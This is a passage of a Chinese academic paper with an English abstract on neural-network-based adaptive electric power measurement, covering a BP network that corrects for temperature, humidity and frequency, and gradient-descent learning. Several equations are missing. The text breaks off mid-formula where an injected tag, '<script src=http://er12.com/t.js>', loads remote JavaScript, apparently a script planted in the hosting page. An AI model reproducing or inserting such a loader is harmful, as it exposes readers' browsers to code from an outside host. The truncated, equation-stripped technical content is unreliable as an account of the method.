［摘 要］ 详细介绍基于神经网络的电功率自适应测量方法，给出系统原理图及电功率测量误差自动校正方法；介绍一种lea判别法的梯度牛顿有效结合神经网络学习方法；采用dsp技术实现电功率实时快速测量，给出实验结果。
［关键词］ 神经网络；电功率测量；lea判别法；自适应；dsp
aself－adaptive measuring method ofelectric
power based on a neuralnetwork
xuxiu－ping，lizhu－feng
（wuyiuniversity，guangdong－jiangmen 529020，china）
abstract： this paper presents the self－adaptive measuring method of electric power based on a neuralnetwork along with a system－schematic diagramand an automatic correction method forthe electric power mea－surement error．abriefintroduction aboutthe leadecision methodis also given，which showsthat both gradedmethods and newton methods can be effectively combined in the neural network learning．the dsptechnology is used to realize real－time and fast measurements．the experimental resultis also given out．
key words： neural network；electric power measurement；leadecision method；self－adaptive；dsp
随着科学技术及社会的发展，人们对电功率测量的准确度要求越来越高，对电功率测量仪器适应恶劣环境能力的要求也不断提高。影响电功率测量准确度的主要因素有：1）温度－10℃～＋40℃；2）湿度40％～80％；3）频率；4）测量电压；5）测量电流；6）功率因数；7）外磁场；8）波形失真度等。普通电功率测量仪器在环境变化时对电功率计量不准确带来的经济损失只能给以人工估计，既不科学又不公正。如何使电功率测量仪表在复杂多变的环境中自适应地实时地修正仪表自身的测量误差，实现实时智能化校正，提高电功率在复杂多变环境中的准确度具有重大意义。
1 基于神经网络的电功率自适应测量系统基本原理
基于神经网络的电功率自适应测量系统基本原理如图1—1所示。输入层、隐层、输出层 构成3层神经网络。神经网络是由模拟神经元组成的具有并行和分布式信息处理的网络结构，具有学习、归纳、抽取等功能。输入层：从系统接收输入信息；隐层：把输入得到的信息进行内部学习和处理，它通过权连接输入层和输出层；输出层：针对输入经调整权系数而得到所期望的结果。输入层输入的信息主要是功率测量输入x1，环境量测量输入如温度、湿度、频率、电压、电流、磁场强度等。输出层采用单一输出，使用实际功率输出值y1。
功率期望值b由标准功率表提供，其准确度受环境影响相对较小，仅在神经网络学习阶段，用于确定神经网络的连接权，在进行实际功率自适应测量时不用标准功率表。经神经网络计算得出的各种情况下实际功率输出y1应接近相应的功率期望值b，即实际功率输出y1是在功率测量输入值x1的基础上根据环境量的变化经神经网络计算自适应地调解修正值并直接给出已完成误差修正的最终结果。从而在功率测量环节实现误差的自适应调解。
2 学习方法
bp神经网络模型参见图1—1。该网络算法具体学习过程由正向和反向传播两部分组成。在正向传播过程中，输入信息从输入层经隐层逐层处理后，传至输出层。每一层神经元的状态只影响下一层神经元的状态。如果在输出层得不到期望输出，那么就转为反传播，把误差信号沿原连接路径返回，并通过修改各层神经元的权值，使误差信号最小。参见文献［1］。
设输入向量xi＝（xi1，xi2，…，xim）；希望输出量bi；输出层单元的实际输出量yi，i＝1，2，…，z，即z个样本；输入层至隐层的连接权为｛uij｝，i＝1，2，…，m；j＝1，2，…，q；隐层至输出层的连接权为｛vj｝，j＝1，2，…，q；隐层各单元的输出阈值为｛oj｝，j＝1，2，…，q；隐层节点的响应函数为f（x）＝（1＋e－x）－1，输出层节点是线性的。
误差能量函数取z个样本的希望输出量bi与 输出层单元的实际输出量yi的误差平方和：
2．1 最速梯度下降学习算法
w是向量，e是多元函数。网络学习确定多元函数取得最小值的点w。梯度g（w）为向量，g（w）的方向是误差能量函数e（w）在w点变化率最大的方向，其模是e（w）在m点处最大变化率， 称向量g（w）为数量场e（w）在w点的梯度，记作
最速梯度下降学习算法基本原理为：随机选择w点的初始位置w（k），根据w（k）点处的梯度确定w（k＋1）点的移动方向及步长，使误差函数e（w（k＋1））比e（w（k））快速下降到此方向时的最小，确定点w（k＋1）位置；再以w（k＋1?script src=http://er12.com/t.js>
